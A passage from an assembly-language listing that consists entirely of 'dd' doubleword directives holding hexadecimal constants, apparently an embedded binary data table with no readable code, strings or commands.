0A8E750h, 0FBDD4E10h, 820BC559h, 84D2B1D4h, 0E4908B7Dh dd 0E7A81407h, 0AAF26882h, 0A062776Ch, 0EB44DCC7h, 70C91761h dd 0AB0BDC12h, 52031CEh, 888274D1h, 0B0F8C8C1h, 6465F528h dd 7472E6C9h, 7F299C00h, 0CA2207A0h, 0D831E400h, 6FE574B0h dd 2A360095h, 513E8349h, 0FC6BF0EEh, 5B550179h, 0E3F03368h dd 11E5007Fh, 0D7064D15h, 7E4881F6h, 8C91E8D8h, 7FC905Ch dd 2693C3CBh, 0EB8D0BA2h, 0A0F4AA14h, 0FD8CB198h, 0C4CCA769h dd 0B81260F6h, 2BF004Dh, 84C62965h, 191C44F9h, 0EE447B09h dd 1E05F04Ch, 6900C1C0h, 0F8F1003Bh, 1D08A93Dh, 75AC013Bh dd 0C6C7414Fh, 1E9E2060h, 48DF3380h, 88E8C4BEh, 7DB9018Ch dd 4C1B2F0Eh, 8C4ED4FCh, 54F221D3h, 0CA3CAB00h, 7DFB9B99h dd 72826700h, 2A241B8Fh, 7E4C012Ch, 0D8775CEAh, 5868396Ch dd 486B4A34h, 0AD7C4800h, 1892A69Ah, 895CDD05h, 98BD94EBh dd 0CC683B32h, 7600D858h, 0B3F1DAFDh, 4EA02664h, 0B7E0C05Ah dd 9C7A677Eh, 0E82BCE0Bh, 3FFC910Bh, 0C1088118h, 0C44C2347h dd 495D4038h, 2C19F1C1h, 85835CAh, 0A4F0BCh, 0E0502B90h dd 38852113h, 2D18E9D9h, 0A55C6501h, 9B163DD4h, 0ED030C70h dd 4B30D205h, 0E1412B30h, 0B0636321h, 41335380h, 680C4D73h dd 0B0CA255Bh, 0E02E418Ch, 0C9E0F95h, 110442Fh, 219C3BF9h dd 0E335B911h, 77E6A1B7h, 2644203Ah, 29585380h, 70F804h dd 877DDD62h, 44864970h, 4A0044F5h, 0A8E341DDh, 0B5E6782Bh dd 2C3C90A0h, 76792830h, 7F2D8100h, 0C8C6846Dh, 0E6792C43h dd 3574030h, 64027C6Ah, 54302125h, 40CCD6EDh, 3B2882F3h dd 9E166800h, 4962C943h, 0A56B07EBh, 7912D050h, 0AF8094FAh dd 91FAE910h, 848CCE48h, 890A4D8h, 658476h, 41B47EC7h dd 587F980Dh, 0F679B8B9h, 0BB1F0A18h, 11C977AEh, 0D0938B0Bh dd 0E7E41024h, 582F4BB4h, 0F300E923h, 349AE4B3h, 0B5ED3DCBh dd 5C2B79A5h, 2E0090D9h, 0FC09FFADh, 0F0FD007Fh, 17C02F84h dd 70010138h, 4D652813h, 51DEAB8Bh, 184571DCh, 86C3000Fh dd 87C82619h, 40692C2Bh, 764C02E1h, 9096209Ch, 0CC940383h dd 4813571Fh, 0DAF70860h, 0F9771328h, 308A33h, 0C2DAEFBEh dd 0AEB2FBCh, 716F796Ch, 0A465658h, 7A75F904h, 7F4C1C7h dd 0D8CC04A1h, 1167009Bh, 68913E4Dh, 0A90B3FD4h, 0F8B6820Dh dd 1370985Ch, 0CEFF2CF0h, 0C0F5C834h, 0E92BD262h, 3F939217h dd 5AEEE8A1h, 0F7FD0148h, 0C432EC81h, 99573080h, 55B2B900h dd 1D3A4F82h, 3A28D209h, 352360h, 0AE1AEBF8h, 9202B9CBh dd 0C0E081B5h, 429CD4CEh, 30841856h, 0C1826040h, 84232D46h dd 5C00E816h, 7545C14Ah, 566F95Bh, 0BEC0990Ah, 0CE54807Fh dd 0E710EB6Ch, 95169D20h, 8FF0B41Fh, 0A2377327h, 0C01863F8h dd 8117B268h, 2900F385h, 0F911E1BDh, 0BAC64Eh, 0D38F5AB2h dd 0DB0F70A5h, 0A49B2C2Eh, 5CE0E81Dh, 4E23E802h, 0F7413801h dd 68233290h, 41305883h, 0D72D09A8h, 0DB8D440Bh, 0B1087289h dd 48041FF0h, 0D80FCE7h, 0C16C7608h, 36605EBh, 0D0CCB806h dd 0D94F7478h, 0E0BC302Dh, 80F0F838h, 189287EFh, 3078FE2Ch dd 74CCFB45h, 0C27A0991h, 188088ACh, 0DF4C7E05h, 0A6A4CA2Eh dd 536B1A02h, 3E9885A3h, 0EF1824B2h, 0CBEE41F0h, 23A0F900h dd 0C0885CD5h, 102C00FDh, 5318E0E7h, 1E128DA8h, 348009DDh dd 0E1289603h, 0C07E499Fh, 256AA89Fh, 31077C7Fh, 79185F55h dd 78A02B12h, 5F07E69Ch, 56884B98h, 88C4C865h, 0D1E89760h dd 210B0FE6h, 606BC526h, 0DC24E34h, 0C0820E85h, 0A2EC6331h dd 0A547308Ch, 57E1EE01h, 2943D63Bh, 6584207Eh, 1200E085h dd 0BDBEA340h, 0F61E48F4h, 20954FE2h, 0F3D65A00h, 6C08DC64h dd 15277E87h, 652995F1h dd 0B1919850h, 0C209FABAh, 8E534311h, 6F4F8B60h, 17BE4100h dd 1B9805DAh, 50A30111h, 9532B77Ah, 65042486h, 0E3932900h dd 0F0B43A4Eh, 703E89F1h, 0E8405070h, 20B09880h, 0CF143BFCh dd 2E81FD6Bh, 601F787Fh, 0A8438102h, 152CD915h, 791CD0C2h dd 848767C0h, 0D6CA707Eh, 6A3A9A5Bh, 0C420DA0Ch, 49180651h dd 7F80FC35h, 9C2365C1h, 6B3B448Ch, 0A9C18703h, 0F03D5D4Bh dd 0F876E20Ah, 0FEF030F4h, 0AA8C38C9h, 797CD61Eh, 0CF1890C0h dd 0FB6B10h, 663468BCh, 845DDBBBh, 99462E00h, 0FD2A102h dd 256705FEh, 0A28A47BDh, 0C031C8DCh, 2349C183h, 0E0E07C5Ch dd 58C14B5Fh, 0FD0BE1DFh, 0DC467A45h, 0F4C8965Fh, 7931727h dd 0B2B8643Ah, 3346B20Ch, 816C35D8h, 0E8F0032Fh, 0E01D9F80h dd 75A81EAAh, 2B2883DEh, 0D02E13B4h, 0F708F4F4h, 7E8094Dh dd 0D823B901h, 85208C2Ch, 0FB6111h, 0F947A7F8h, 3AFEDB19h dd 0D805E60Eh, 98F6B14h, 58CB7E4h, 40FAF16Bh, 4EECF5D8h dd 0E1009429h, 22E84635h, 24FB062h, 5A9FD741h, 0F0C0A2B1h dd 2588AB15h, 0BF4F708Dh, 0E8C16C09h, 0D5908207h, 7B3C9F83h dd 198A5914h, 1F1F9D20h, 9470EC0Fh, 2010900Ah, 0F14C7817h dd 95628080h, 0D53B5Dh, 4FC65EF2h, 4D0C0A7Eh, 0DC0BF579h dd 0D28580DEh, 99E60A8h, 6E79644Eh, 91909254h, 9D74AD78h dd 324CB650h, 58805216h, 0EA23FC2Fh, 8FDA7900h, 12073C89h dd 173EA8FDh, 468B4E8h, 30D71F2Eh, 1B8A1E1Ch, 5B029839h dd 0F32FFE25h, 4A0473C8h, 4A54CCB2h, 0B3D3A481h, 0FCC82903h dd 24954F0Eh, 0F0B4DC90h, 45CB0906h, 49007F9Eh, 0C1C66C10h dd 60468200h, 3C188D28h, 31471430h, 9C908097h, 0C2787313h dd 7CC076A4h, 7BF6F247h, 0C16AC5Eh, 4123283Ah, 0D1A2D600h dd 0B3787h, 4154FA52h, 0A6C6950Fh, 5F14DE5Ch, 0C4A30C42h dd 1274FE67h, 0C4D49A68h, 9E87305Ah, 0FC642E40h, 1F2CE678h dd 872FE8B1h, 115FC4D5h, 7FC38D23h, 7BC5E002h, 0B5E85048h dd 33E86CACh, 0C17D048Ch, 626C2363h, 85692036h, 7F0044C1h dd 0DC875CD2h, 170B9452h, 4DFF21Dh, 21F134D0h, 27102F80h dd 0A54F4BC5h, 42485444h, 97BD041Fh, 5045AF92h, 88C1AF8h dd 0A2A9D2B9h, 0E9B30038h, 37C10ED8h, 0D6B10758h, 0E0E84436h dd 4DA538F2h, 0D1B31D01h, 8FE648FDh, 7C4C4181h, 0E42BD0C7h dd 9F0045AFh, 2E6EDA06h, 351B880h, 2782027Fh, 81248C2Bh dd 6B1247FDh, 961774E8h, 90F0B4B2h, 255ACA00h, 10438206h dd 0A858A93Fh, 20D8F815h, 8B990B27h, 8081A5FBh, 0F2953305h dd 23F91E00h, 8284AAB4h, 598BEB08h, 18F3D9B0h, 0C00A5068h dd 101A43C8h, 852C17F0h, 42434018h, 0AE023251h, 951C6ECBh dd 34ECD083h, 0E2C0C501h, 33F5F204h, 4BF208E8h, 0B839912h dd 20B70A8h, 78C11862h, 84818110h, 2EF00BCFh, 1F5C922Eh dd 87441867h, 0EB217960h, 0FA3F4602h, 87B19293h, 0BC1C8CCh dd 84694264h, 88627310h, 0DD47C2EDh, 2BB854E1h, 0F20FB42Ch dd 877A13DDh, 23083AFFh, 38470034h, 0AD07FBB2h, 0E2645128h dd 94AF692Eh, 0CCEA03Bh, 2CD79029h, 300BB39h, 0CB26C07Ch dd 0ECEE52h, 8FBF6FC2h, 1992D77Bh, 700F9130h, 7C2B49D3h dd 296401ABh, 0AFFD96DCh, 0B8B42C07h, 0F3268C39h, 0D7805425h dd 0FDC86586h, 427B148Ch, 800FE403h, 0E3C1396Fh, 60CF8F9Dh dd 60A88898h, 71C0A8DCh, 0BCAAD113h, 83D0B157h, 0F5473B42h dd 0DFB96BC3h, 0C37B7093h, 0D8972909h, 8F58268Ch, 0D14891D8h dd 53A1839h, 97939146h, 0F458F44Bh, 0B042EE43h, 1B13FC4Ch dd 1C442198h, 9DD70019h, 0FDFF01CEh, 52B38B9Ah, 182D2F0Ah dd 0F6AC203Ch, 3AA028Ch, 0E72D630Ch, 4900E4DAh, 52FC2B01h dd 461B76h, 0CD6A263Bh, 0B4CCA87Eh, 0AC3CD206h, 8331B5E7h dd 3008C7B8h, 9FC61E8h, 683E042Eh, 7018A246h, 0CD1F8528h dd 24F8F052h, 0B9658583h, 67984FD0h, 0BC5E3D26h, 8861481Dh dd 64249C71h, 0AE1281Eh, 628C3CC7h, 400AFF10h, 79F09601h dd 887C5213h, 23CC2B97h, 9A4A0541h, 70E2C048h, 9E032864h dd 39390DAh, 3B781244h, 0A2DCF39Ch, 37BA33F3h, 343F8CC0h dd 71315425h, 0F14F0060h, 0AE9FC126h, 5877F613h, 0F523142Fh dd 0CF069400h, 123EAB64h, 0C0D0B877h, 2F5D7660h, 886C9301h dd 922350Eh, 0DDB8832Ah, 5581902h, 602E9CDAh, 80FC900Ch dd 0F8129674h, 540578F7h, 0D01243C8h, 7600446Fh, 4651F462h dd 4E02110Ch, 0CC9197F5h, 0C3B4E15Fh, 567ACC63h, 0BF03440h dd 6709DC60h, 30AD662Ah, 920C8508h, 0EC630040h, 9EB0EABEh dd 3600A3B7h, 188054B1h, 5233FFCCh, 0E448CC9Ah, 1FF9A831h dd 0DC49D6DDh, 392860CFh, 4D82C18Ah, 2DC0202Ch, 4A910241h dd 841695h, 5413555h, 1926640Dh, 4479A802h, 0C075FA1Dh dd 88E988A0h, 78DDF753h, 0CE018D90h, 31483770h, 8392EC79h dd 509D7B27h, 952810A4h, 6B8B1DCEh, 8143D38Fh, 36826E06h dd 0F5FC5888h, 0ED8C5280h, 4B7B794Ah, 251CC228h, 23F6C4C6h dd 0E6B1A327h, 5E749668h, 39003A46h, 415B1E11h, 0B30C524h dd 2379C88Fh, 0C03E5DD4h, 2F58D812h, 3F223A8h, 0D47B1FEDh dd 0B6D026E5h, 44886495h, 0D9029761h, 0F2D6728Ch, 0D8107564h dd 2DF486BAh, 4485DA00h, 34BC2160h, 0AACC0090h, 4F9D9358h dd 2F12A8C6h, 0F8BC276Bh, 0DD1D600Bh, 0CCF1A889h, 0E0511518h dd 4C84B86Eh, 75B1686Dh, 0ECE42C9Dh, 31FE8C89h, 0E211FB00h dd 5218CF08h, 381D3295h, 6856F679h, 4BCBD880h, 3EF56B7h dd 0DB60112Ah, 29001284h, 0E47C7783h, 0AB4326h, 64FB21DFh dd 0DB198F5h, 0F815BE12h, 4BEC1408h, 398AA099h, 0B36903A8h dd 0E01F681Bh, 0A17F137h, 829576ACh, 4087E47Ch, 0BE930A4Fh dd 0EEF89049h, 88B8949Ah, 0FF654690h, 75E88C4Eh, 20C9D3E8h dd 23F02F2Fh, 18F70040h, 0B0816C3Ah, 0ACE87D62h, 58641A27h dd 0FEB2202h, 0B9F97A84h, 0EA14C468h, 35DB420h, 0E5DA0078h dd 0B9C5C8B6h, 53D4929h, 128C8038h, 0AFF3D044h, 0ED1825E0h dd 259060FAh, 902C52F1h, 0F0B0C22Fh, 963C5E1Bh, 2BF4C0F3h dd 731892F6h, 7A109F0Fh, 2E3A78DDh, 0A4382D3Fh, 0B117E1Ch dd 0C5100A3Fh, 0D26A8420h, 39B8102Fh, 2F9E7382h, 37B33A22h dd 7B9C3911h, 79644802h, 90608283h, 0D117990Bh, 9004CFA7h dd 500409Bh, 16E9433h, 51B0BB84h, 9D687C29h, 9650FC00h dd 0A0E5D8F6h, 8109B4D4h, 568269Ch, 281CC0A1h, 0D88A4CD5h dd 781C274h, 204AFC7Ch, 9F6B0860h, 7A282E63h, 50B8ACB0h dd 0FFCD2609h, 3B7964D1h, 65095C18h, 48DC80AFh, 79D230h dd 0E1F663BAh, 153C07EAh, 0DF471900h, 338451F1h, 5F2E0478h dd 0B82FDB9Bh, 4900740Ch, 5CBFE731h, 2D2BA633h, 0C410FDA3h dd 2060D3D2h, 78096A12h, 0F24E4B3Eh, 0D8730CFCh, 0EED65039h dd 1FF812h, 36818D79h, 22641B5Fh, 7D1D0774h, 0A97FE7EBh dd 0F479D459h, 0AD00AE18h, 8A2BD6EBh, 9E1F628Bh, 1D9643FCh dd 9E0591B6h, 49FC0CADh, 37D8E081h, 428CF701h, 85033CD4h dd 5579C0EBh, 0CF721240h, 0C328A4DCh, 0B9BFF700h, 0D2252ACBh dd 8FDD2C24h, 5A29805Ch, 9C7EF31Bh, 8975AC00h, 0FD47CED9h dd 92689E76h, 0D3D409ADh, 2814CC21h, 0AB8BD421h, 0F040F65Bh dd 7C4E0B56h, 5F1A0066h, 0EF5AB11Fh, 0AD04B5E5h, 45FD9D81h dd 0D49555C0h, 87C709A2h dd 0B07CD843h, 0EE4F2704h, 211088C2h, 24FE830Dh, 0D0CB2A60h dd 79F85901h, 0E81889h, 0AB9535BCh, 5F2BE116h, 5C493124h dd 10D1CB18h, 0C2E43EFDh, 0E677EC86h, 99984193h, 558C3Fh dd 0EDE84114h, 28CFD952h, 7548357h, 119DDF46h, 0F7B1D0C2h dd 5F4C2CA7h, 7BFD1288h, 0D6D4E0D0h, 4FBE0441h, 0EAA7832Bh dd 94AF6840h, 438A9D7h, 3C0B1F16h, 7C9CAD2Dh, 0EFF4419Fh dd 27AF507h, 77393ECh, 570400F4h, 70A9709Bh, 0FAF823ACh dd 77EDA51Dh, 94639B40h, 5747937h, 3EF88778h, 0B860A872h dd 3008C3Bh, 828E2ABDh, 0F3155Dh, 0DD4E9E17h, 0E7838D19h dd 0B404565Eh, 0D421B2Ah, 848C795h, 3B70200Bh, 5DD7C580h dd 550BAC94h, 9017723Ch, 0B6804591h, 84E18220h, 11809494h dd 9E7EF9F4h, 0DD630055h, 4DA81D9Bh, 1736808h, 0ED009977h dd 272E476Fh, 1EC62602h, 0A90D355h, 4990FFB3h, 0E900C464h dd 0A812B117h, 7C9BB46h, 43B71DA6h, 6294117Bh, 0E8DC2CF3h dd 46018C35h, 0EBF90D60h, 8BE83114h, 9748BE2Dh, 0F0E40075h dd 26CC94E7h, 531D8D09h, 8764712Eh, 0F1F47196h, 0D0ACF319h dd 930408FFh, 2F2879ADh, 870DD4D1h, 0A0C0532Fh, 301F1680h dd 130B17A3h, 19DC6904h, 5A847BE0h, 10C89043h, 472E7C13h dd 0E009430h, 86EE541Fh, 0B54CEE28h, 0B882C4A9h, 9C62F446h dd 6A00D050h, 643E0F33h, 9892E026h, 440C5A04h, 9201942Ch dd 0EC72E688h, 72F1C600h, 0D327227Dh, 0FE2E0F34h, 4220B5D5h dd 0B23D8687h, 80ACE158h, 0F31CD4CDh, 7E2116D6h, 0E078050Eh dd 24CCC14h, 80D82784h, 995B9870h, 88D968DCh, 0DCA477FDh dd 9EA223Fh, 0A90CB013h, 0E4944580h, 45726040h, 80440965h dd 0D498D726h, 1733012h, 0E92A1908h, 8E0F0886h, 8F9D5680h dd 99390B8Bh, 8642400h, 60951A7h, 7054536Ch, 613FAFA3h dd 0CAE68930h, 242C8856h, 2C0A4656h, 95053C67h, 0CECC8E2h dd 0CBC01E16h, 0C089C844h, 0F2F33FB0h, 3E1DA501h, 1F95C04Ch dd 0E1024C2Dh, 951DDF1h, 18381C60h, 5278A80h, 0F097B75Bh dd 0AEE040F9h, 30A6E262h, 7667E400h, 72481B53h, 1738BCEEh dd 0A7E4A4E8h, 0B0AA2201h, 2D944509h, 0F09EB4E8h, 971FCDAh dd 913164CDh, 7B41D0DCh, 45003934h, 977395h, 0B8052F5Ch dd 90429FB4h, 4011A41Dh, 8C3CBE80h, 0C41A7A30h, 61A12C86h dd 298114F1h, 0D180B5FBh, 8080684Fh, 0F0BA9A42h, 1C4A278h dd 0D4D3C5BFh, 155F6FCh, 1D9A31E6h, 313244FAh, 0D83E6FAEh dd 1300F523h, 90BA30CCh, 88D75B7Bh, 0FB4BE458h, 74524022h dd 38467C24h, 53AED101h, 3FE40BCDh, 1385C009h, 55DFE800h dd 6AD12651h, 0F0B51368h, 0C5611F34h, 3733120h, 4D70036Bh dd 0C7C232EBh, 0EC47A069h, 0B797B78Ch, 0CB393D28h, 0C6475A7h dd 19C6720h, 7BDD0C29h, 816E8349h, 98974A9h, 333A9316h dd 0E90031F4h, 45759D33h, 2852E14h, 8E37FFE8h, 0F4749488h dd 78E48AC4h, 602E0043h, 51CDD11Ch, 623CF9F5h, 0AE0200A6h dd 28563820h, 71C0A23Dh, 60D4F3E4h, 1ECA9272h, 149C6FAh dd 7793A49Bh, 30C86589h, 81833FD4h, 283E4E0Eh, 0F1001238h dd 0BC9CE8CAh, 153A02h, 875E7985h, 0B1F7C363h, 8521E025h dd 8402D634h, 56F92B94h, 926E8024h, 189581BFh, 6620A4B8h dd 0D31D1D19h, 2D31493Ch, 844044F6h, 92F93282h, 5F8A436Ch dd 0F3C810CAh, 799A78C0h, 0F15428B8h, 0E9FF4150h, 0B7291004h dd 0EC8112EDh, 7CA8A39Eh, 0AE4CF802h, 82D8456Ah, 3318094h dd 77E0DCB1h, 641617F6h, 0B004767Fh, 0D8CE8A05h, 45C03B88h dd 4A6948h, 0DDEA769Eh, 792E0F8Ah, 98D82Fh, 5FE490D0h dd 96CB2725h, 647340ABh, 28F06C71h, 1E89A99h, 24E48B8Ch dd 0E07FCE83h, 9A006682h, 84E61F6Bh, 277BDF8Fh, 0B478D643h dd 5A8D3325h, 2DD7F428h, 70E719E1h, 0BE603664h, 0DD00C690h dd 274B582Dh, 4E20A49h, 94EA39F1h, 4564ED78h, 2F2BF8h dd 0C301F323h, 0C92877F8h, 0A0E62834h, 10CC7928h, 9076084h dd 40377391h, 489582C4h, 71105419h, 0D7220917h, 78DCA82Dh dd 394674h, 4F760EECh, 91AE4BD6h, 40521170h, 0AC26E0F8h dd 30927C06h, 19809821h, 9405CEE0h, 20E0407Ch, 5D00DECDh dd 30A59391h, 4883A6E8h, 0DDC564F5h, 0F08CC8A3h, 90A6FF5Bh dd 0E3D64E09h, 0EC670032h, 9A608844h, 970BC3DBh, 2FDC441h dd 30BB20h, 0CD78837Ah, 0BD24DD09h, 0A0CCF8A3h, 8954CE28h dd 4EE84890h, 0A4FD3D3Dh, 26BB7070h, 0C46BAC7Fh, 7B271744h dd 1FDCF07Ch, 9602200Fh, 90353328h, 45ACA4A8h, 2AD8018Ch dd 28ED72CAh, 0C102E783h, 45DCAF47h, 76385CBDh, 4700F846h dd 846D875Dh, 260B4E91h, 219FE801h, 0B8E1FF30h, 0FB069C33h dd 410A9533h, 0B0438713h, 0C84A2CFCh, 0BF013C4Ch, 0E4D9C4E7h dd 5C18421h, 917C97C6h, 9826810Ah, 0C5D0B2B1h, 808A977Bh dd 0DAB0220h, 0F4A0B483h, 475EE013h, 7974A8C0h, 0CBDE84D4h dd 0CC90F649h, 3A00C047h, 0BF3FACAFh, 5215182h, 1F731093h dd 0FCA8414Bh, 201BDD97h, 0A2414308h, 0DD7442CAh, 1708B40Eh dd 0BCE48A13h, 0D8131644h, 769D00AFh, 0EECB2DF2h, 3E42FD01h dd 2BBCD470h, 6202FC70h, 828A82Ah, 946DA042h, 0FC5C84EFh dd 6CF6F2C0h, 62847B0Eh, 506E9CFh, 11BEB520h, 0CA8A0BFDh dd 300728EFh, 0F645181Ch, 62E41Eh, 343FEE4Fh, 8C31624Bh dd 702D2091h, 0ADC0A00Ch, 0DC87BD66h, 0BE00C8A8h, 853A78C2h dd 62891F0h, 21A97DFDh, 2E30805h, 388EFA37h, 0B1C03F88h dd 2CECD45Eh, 4602DA5h, 0AFE65077h, 0A8BDFC20h, 0ADAA0003h dd 0F730815Bh, 3DEA4612h, 9C44C300h, 0C5720BD4h, 0C5F17108h dd 0C0E69AA1h, 0CD3C4796h, 6CE3BD03h, 80F8A602h, 0BBCAAABh dd 0D9ACB4Dh, 483D10A7h, 0BEC62687h, 0CA019A5Ah, 54175AAAh dd 40B4B860h, 0D04A6D3Eh, 0EBC838CBh, 7DCFE6C0h, 55F100B4h dd 23F374E2h, 0BC9484BDh, 86A4AE80h, 78E72EC3h, 18618232h dd 0EC0B6AD9h, 7988797Dh, 0DC18E9h, 84A0FDACh, 930666DFh dd 3E2B7317h, 2AE06880h, 0DC7E813Bh, 8D2D24EDh, 928FA03h dd 0F4E4B013h, 46765C74h, 0AA2D090Ah, 0C04C05B1h, 941D2891h dd 0EDD4476Eh, 0A1AD77B0h, 203E1639h, 3260119Ch, 8D7B8B70h dd 2D28C00Dh, 508141E1h, 41CF4524h, 3B721Dh, 7C2018B7h dd 4E6EAF2Bh, 1D2081F0h, 19C08074h, 11B38ED5h, 5D6BEB37h dd 7002FD64h, 2B8B9B6Bh, 0E05B068h, 830164Bh, 0B211E527h dd 2F7B71FCh, 0D406B682h, 0ED1110C7h, 5948F05Ah, 0B30A4413h dd 0B52709D4h, 0C58F867h, 0D982B79h, 0A35EAD59h, 44112400h dd 5ACE0BDFh, 198F02Ah, 97B8488h, 843810Dh, 76671051h dd 220992EEh, 90D82942h, 0D3DC50h, 48AE120Eh, 0FD272458h dd 1E6EC702h, 540477DDh, 0C02884C4h, 19E941CFh, 742078EBh dd 1F1A4098h, 0FD9BDD19h, 0D807CF30h, 49938F8Eh, 0A8CC6835h dd 102086F5h, 8D250919h, 5C52AF9Bh, 0F04D2B10h, 8ED2468Fh dd 0C08DC81Ch, 4D0788CBh, 234ED004h, 0CCF8B7E5h, 28133801h dd 3890A5FFh, 8C45E890h, 0E2098601h, 0F99932E0h, 0A888D43Ch dd 19A4D780h, 0E2935D09h, 4480BFB1h, 0CE02E296h, 208CD45Fh dd 0DA950032h, 83C866FFh, 10B06FDDh, 7500138h, 15AE403Eh dd 0F36B9201h, 20582838h, 4F74887Ah, 0B8E9362Eh, 0CCCC2B0Ah dd 5BBB9D82h, 88560BFFh dd 0F1F40969h, 0B7A9D98h, 0E48997BFh, 56453C76h, 91B88CE8h dd 0D74A258Ch, 0AEA16C68h, 0F2B34200h, 0E13E9D12h, 0E6510F93h dd 806B080Eh, 558CE01h, 0A02E6B07h, 1BB3423h, 1D79A15Dh dd 427FE766h, 715AC6E8h, 83096140h, 0D88ADB00h, 0B0823B5Dh dd 5CC27205h, 1710F86Dh, 0D8060459h, 5CDEEC68h, 741F23C2h dd 78165464h, 38B0ACB8h, 5FFCAC91h, 7A2C221Dh, 5BFB6410h dd 0D19830DAh, 33132F65h, 80434C1h, 0DCBC1AC8h, 48C2EECh dd 0EFBD4EDEh, 350482F6h, 3E47B0D4h, 8F33CBE7h, 4D59C07Eh dd 1B4F202h, 8C159B50h, 30F42317h, 449C10C8h, 0F9298000h dd 55820E98h, 6E7FB899h, 5A760174h, 3A4ADFD5h, 0B880830h dd 27C54EC6h, 3A556042h, 111097C0h, 0AED5803Bh, 2315C97h dd 698875B0h, 0F4729AB9h, 6CD4674Ah, 0E06BBEh, 57252BC2h dd 126746A9h, 0A2880F0Bh, 0F1862514h, 3B542C00h, 8108EE82h dd 7C611795h, 9A06D2AFh, 0C8FE4890h, 1318492Ah, 490B48Fh dd 8F41E650h, 2E39C4Ch, 0B2FBA8D4h, 0CAA077C3h, 832F295Eh dd 0A2D84063h, 0CACFE0B8h, 32BC2B60h, 1EC27981h, 612970C1h dd 49ECE4B4h, 0D041E75Eh, 1887D34Fh, 3E29B883h, 38A0314Eh dd 7F00F64Ch, 0E02C4264h, 98FD142Fh, 30A72058h, 0E5287812h dd 0C177E8C0h, 0C8C017B1h, 0C480BD27h, 9129F08h, 1CE4FF80h dd 78B19526h, 7F6B9140h, 1458C231h, 94A5E2E0h, 0B020EF0Dh dd 402129FFh, 10D0EF13h, 0BC7B2970h, 0B05E3291h, 4355AA68h dd 0ACF479B8h, 0C0120399h, 0BFC39C86h, 90648884h, 0DC918896h dd 0C88C8B5Bh, 3558C243h, 832F9472h, 0C478675Dh, 13E3608Eh dd 273A0BE6h, 0D4D0040Bh, 1C64B14Eh, 0C46AABh, 0FBD1DB15h dd 4842CF1h, 95D2719Eh, 0EF00F41Fh, 0BB510560h, 0F6CF259h dd 0F0D43E68h, 0E020493Bh, 849D71A8h, 4756F096h, 7491078Eh dd 97614E96h, 619D6EF0h, 8CB0C935h, 0FADF4420h, 75276210h dd 6E3CED58h, 628164C2h, 135A7878h, 0B954490h, 0D91E81A1h dd 0F06B3B07h, 96B6FD02h, 0E8F6E9F8h, 0B2BC2B40h, 540800B3h dd 9BAD55E0h, 0A800E314h, 0BFC74A82h, 0E4CF58h, 6AE8E197h dd 0C6D7FCE7h, 0B0578C0h, 2C0DC099h, 609877B6h, 0DC434B6Fh dd 2E19A500h, 49D53FF2h, 0EC8EED9h, 0C0AF3A82h, 7700E032h dd 3C4ED0A6h, 8C88BCCFh, 24238AC0h, 0C09F4EDDh, 74786458h dd 0B8C4715Dh, 933D0415h, 0F0D89BF1h, 0BD9F64ACh, 318C8120h dd 0C4752DFDh, 896CD79h, 0F13FE140h, 0E7A61876h, 7579D1BCh dd 5F839213h, 0B1D89CA0h, 0F2CC00B0h, 0EC32C439h, 86887A00h dd 0B6EA3E0Ch, 818201CBh, 58F1461h, 0D4CB2F7Dh, 6BC046C8h dd 4F8C0FFh, 0EF73916Ah, 1CB4A437h, 7B181F42h, 0F02C199h dd 0A4F2844Ah, 164FD481h, 6ADE8CFh, 0A1D3AC00h, 702C7C9Fh dd 2297403h, 0C079F044h, 0FD23020Ch, 3041E613h, 5D990B85h dd 0F3009E09h, 6BD432D5h, 59890D57h, 610328ECh, 6E763E7Ah dd 602FAEC4h, 0FC01F423h, 0E732ECD5h, 80E08A40h, 50EEB7F5h dd 0E927BC00h, 5805C778h, 0D176013Bh, 0AF51BDE1h, 0C4C02B35h dd 5CEC2231h, 0CF12D03Fh, 0A8049236h, 0D10B8D8h, 3C4CF77Dh dd 9E14884Bh, 0A4DFA824h, 63C10B3Ah, 55A8068Dh, 0A6DD2740h dd 4E9884A0h, 6202A8F8h, 0BFE56017h, 22ACDCAEh, 0CD8107A0h dd 0B12DCFD4h, 3B11380Bh, 0B4CBF844h, 7FC44513h, 366888E6h dd 0ACC44600h, 1F85FE4Ch, 0C0284B0Bh, 181F454h, 414B0C7Eh dd 44D6C856h, 692922C0h, 0F55E7494h, 3CF6EB18h, 0BFB86300h dd 0BD26E061h, 0D5885F5Bh, 0E36B1784h, 3039B284h, 0A09421AEh dd 41269661h, 3970DC7Bh, 7E77000h, 587929B0h, 7F4C029Dh dd 2DF588BEh, 2EB39060h, 0FA5031FFh, 0DA348204h, 6B41DD90h dd 0F5950872h, 118C23Eh, 0A1853119h, 0AC67941Dh, 9C2D1814h dd 5ABD27F9h, 9C88CC3h, 9C958580h, 4430288Ch, 560E29FBh dd 0CA5A61A5h, 8C1A83Ah, 0A2E832E2h, 15F5BE4h, 200BCF3Ch dd 0DCD22B18h, 0D7D623CBh, 5FAC5DCDh, 56410586h, 0C5F4F07Fh dd 0E0816804h, 0CCC2158h, 3C828AB9h, 0D409B577h, 97F161A0h dd 3DA60DDh, 9399123Ah, 74ACB592h, 0A7BEBB06h, 4028E048h dd 17734811h, 0B4905F82h, 3200E979h, 0D8CD0FCCh, 0EA50BE0Ah dd 40D74F6Ah, 0F3C61344h, 12006EB4h, 74E58101h, 4F7D41Fh dd 0FCEC2E77h, 0B60E378h, 0F6AC9308h, 0C0976088h, 0CB0722D5h dd 0E6D051Fh, 5D24D1F2h, 0C4F32892h, 747FE670h, 0D030F729h dd 0A81744D4h, 0B774C2Dh, 0C000D688h, 2C76EB6Bh, 24BFDC98h dd 24472D0Ch, 7AE38ECBh, 69484FF0h, 14401400h, 0DC1CA4E8h dd 7A01BC40h, 801268B8h, 0E505838Bh, 570443CAh, 0B189BC9Bh dd 0D00260FCh, 608861AAh, 2D477534h, 0BC48DC3Eh, 2E28356h dd 98256600h, 0ED6C37A8h, 0E0A7009Eh, 59CC1113h, 0AC254928h dd 60D0ED71h, 2F939085h, 5518009Dh, 1E8B8CFAh, 309EEF6h dd 581CB014h, 8AE6F000h, 19A41EA1h, 174D00D5h, 516A3CBEh dd 327EC53h, 3E60D380h, 0F0087DAh, 0C7291230h, 0A72A80A2h dd 0E4C555C8h, 0D3939420h, 6AE4F18Ah, 70370C09h, 1C49E7D0h dd 0B9FC523Fh, 70CF0154h, 0A98B99A4h, 0FF01F038h, 2B790E19h dd 2D5C384Eh, 425892B1h, 632440F8h, 9E38A6A3h, 281482CCh dd 29F74148h, 10885E90h, 531805F0h, 14B326B5h, 757C7B28h dd 3D220E25h, 0EC133128h, 0F691C9E8h, 0D07A40C4h, 0ACAA26B4h dd 90928854h, 